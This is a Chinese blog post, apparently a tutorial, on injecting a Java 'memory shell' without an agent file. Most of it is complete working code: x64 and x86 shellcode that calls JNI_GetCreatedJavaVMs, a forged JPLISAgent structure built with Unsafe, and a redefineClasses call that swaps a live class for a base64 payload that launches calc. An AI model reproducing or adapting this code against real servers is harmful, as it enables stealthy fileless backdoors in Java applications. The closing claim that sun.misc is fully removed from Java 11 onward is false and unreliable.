Agent内存马(三)

Agent内存马(三)

本文字数:1611  阅读时长:4分钟

访客数:加载中... | 阅读量:加载中...

这部分 rebeyond 师傅参考了游望之师傅的文章解决了之前通过字典匹配查找 jvm 基址的方法,改成了通过 shellcode 调用 JNI_GetCreatedJavaVMs 获取 jvm 的基址。

具体的 shellcode 分析可以看我之前写的关于调用 JNI_GetCreatedJavaVMs 的 shellcode 浅析,或者直接看 rebeyond 师傅的Java 内存攻击技术漫谈以及游望之师傅的Linux 下内存马进阶植入技术。也许你会奇怪为什么 shellcode 分析发在这篇文章之前,因为我是先把相关的东西看完再返回来慢慢写博客的 。(◍╹x╹◍)

代码分析

看完文章你应该大致了解了 shellcode 的工作原理了,那么现在就要把这个 shellcode 运用起来,本地测试一下。

这里给出我本地的测试代码,其中 Bird 是要修改的类,注意这个包 package 必须要是一样的,不然就不能直接复现,要自己改一下相关的代码。

java
package org.example;

public class Bird {
    public void sayHello(){
        System.out.println("hello!");
    }
}
java
package org.example;

import com.sun.tools.attach.AttachNotSupportedException;
import sun.tools.attach.WindowsVirtualMachine;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class agenttrytest {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
        Class cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
        Constructor constructor=cls.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        Bird a = new Bird();
        a.sayHello();

        WindowsVirtualMachine wvm = new WindowsVirtualMachine();

        Field classNameField = cls.getDeclaredField("className");
        classNameField.setAccessible(true);
        String className = (String) classNameField.get(null);
        Field classBodyField = cls.getDeclaredField("classBody");
        classBodyField.setAccessible(true);
        byte[] classBody = (byte[]) classBodyField.get(null);

        classNameField.set(wvm, "org.example.Bird");
        String newBirdClassStr = "yv66vgAAADQAKwoACQATCQAUABUIABYKABcAGAoAGQAaCAAbCgAZABwHAB0HAB4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAIc2F5SGVsbG8BAApFeGNlcHRpb25zBwAfAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwACgALBwAgDAAhACIBABFjaGFuZ2UhIHBvcCBjYWxjIQcAIwwAJAAlBwAmDAAnACgBAARjYWxjDAApACoBABBvcmcvZXhhbXBsZS9CaXJkAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAACAAEACgALAAEADAAAAB0AAQABAAAABSq3AAGxAAAAAQANAAAABgABAAAABQABAA4ACwACAAwAAAAyAAIAAQAAABKyAAISA7YABLgABRIGtgAHV7EAAAABAA0AAAAOAAMAAAAHAAgACAARAAkADwAAAAQAAQAQAAEAEQAAAAIAEg==";
        byte[] buf = Base64.getDecoder().decode(newBirdClassStr);
        classBodyField.set(wvm, buf);

        System.out.println("className: " + classNameField.get(wvm));
        System.out.println("classBody: " + new String((byte[]) classBodyField.get(wvm)));

        // 获取 work 方法
        Method workMethod = cls.getDeclaredMethod("work");
        workMethod.setAccessible(true);

        // 调用 work 方法
        workMethod.invoke(wvm);
        a.sayHello();
    }
}

注意 WindowsVirtualMachine 必须要放在 sun.tools.attach 下,这部分是 rebeyond 的原代码。

java
/**
 * @version 1.0
 * @Author rebeyond
 * @Date 2022/7/1 12:59
 * @注释
 */
package sun.tools.attach;

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class WindowsVirtualMachine {

    public static int pointerLength=8;
    public static String className;
    public static byte[] classBody;
    static native void enqueue(long hProcess, byte[] stub,
                               String cmd, String pipename, Object... args) throws IOException;

    public static void work() throws Exception {

        Unsafe unsafe = null;
        try {
            Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (sun.misc.Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        // 伪造 JPLISAgent 结构时,只需要填 mNormalEnvironment 中的 mJVMTIEnv 即可,其他变量代码中实际没有使用
        long JPLISAgent = unsafe.allocateMemory(0x1000);

        byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};
        byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41};
        if (pointerLength==4) {
            buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
            stub=new byte[]{0x44,0x43,0x42,0x41};
        }
        buf=replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength));
        classBody[7]=0x32;
        try {
            System.loadLibrary("attach");
            enqueue(-1, buf, "enqueue", "enqueue");
        } catch (Exception e) {
            e.printStackTrace();
            return;
        }
        long native_jvmtienv=unsafe.getLong(JPLISAgent+pointerLength);
        if (pointerLength==4)
        {
            unsafe.putByte(native_jvmtienv+201 , (byte) 2);
        }
        else
        {
            unsafe.putByte(native_jvmtienv+361 , (byte) 2);
        }
        try {
            Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
            Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
            constructor.setAccessible(true);
            Object inst = constructor.newInstance(JPLISAgent, true, false);

            ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
            Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
            redefineClazz.invoke(inst, new Object[] {
                    new ClassDefinition[] {
                            definition
                    }
            });
        }
        catch (Throwable error)
        {
            error.printStackTrace();
            throw  error;
        }

    }
    /**
     * long 转字节数组,小端
     */
    public static byte[] long2ByteArray_Little_Endian(long l,int length) {

        byte[] array = new byte[length];

        for (int i = 0; i < array.length; i++) {
            array[i] = (byte) (l >> (i * 8));
        }
        return array;
    }

    private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)
    {
        for(int i=0;i<bytes.length;i++)
        {
            boolean bl=true;// 从当前下标开始的字节是否与欲替换字节相等;
            for(int j=0;j<byteSource.length;j++)
            {
                if(i+j<bytes.length&&bytes[i+j]==byteSource[j])
                {
                }
                else
                {
                    bl=false;
                }
            }
            if(bl)
            {
                System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
            }
        }
        return bytes;
    }
}

上述代码主要就是新加了通过 shellcode 获取 jvm 的基址,因为我基址的位置被 shellcode 精心设计好了偏移,所以可以直接获取,而其余的步骤与之前的类似,通过 redefineClasses 触发任意 Native 代码执行。

因为我没有用 vm 装虚拟机用的是 wsl,所以 Linux 平台就没有复现了,想复现的话直接去看游望之师傅的Linux 下内存马进阶植入技术即可。

思考

看到这里你可以发现虽然实现通过 shellcode 完美的获取了 jvm 的基址,但是上述代码中大量的使用了 Unsafe 这个类。

而从 Java 9 开始,sun.misc 包被标记为内部 API,不再推荐使用,并且在后续的版本中被完全移除。Java 11 及更高版本中,sun.misc 包不再可用。

因此在高版本好像不能使用 Unsafe 了,所以我很好奇高版本如何解决这个问题。

参考链接

  1. Java 内存攻击技术漫谈
  2. Linux 下内存马进阶植入技术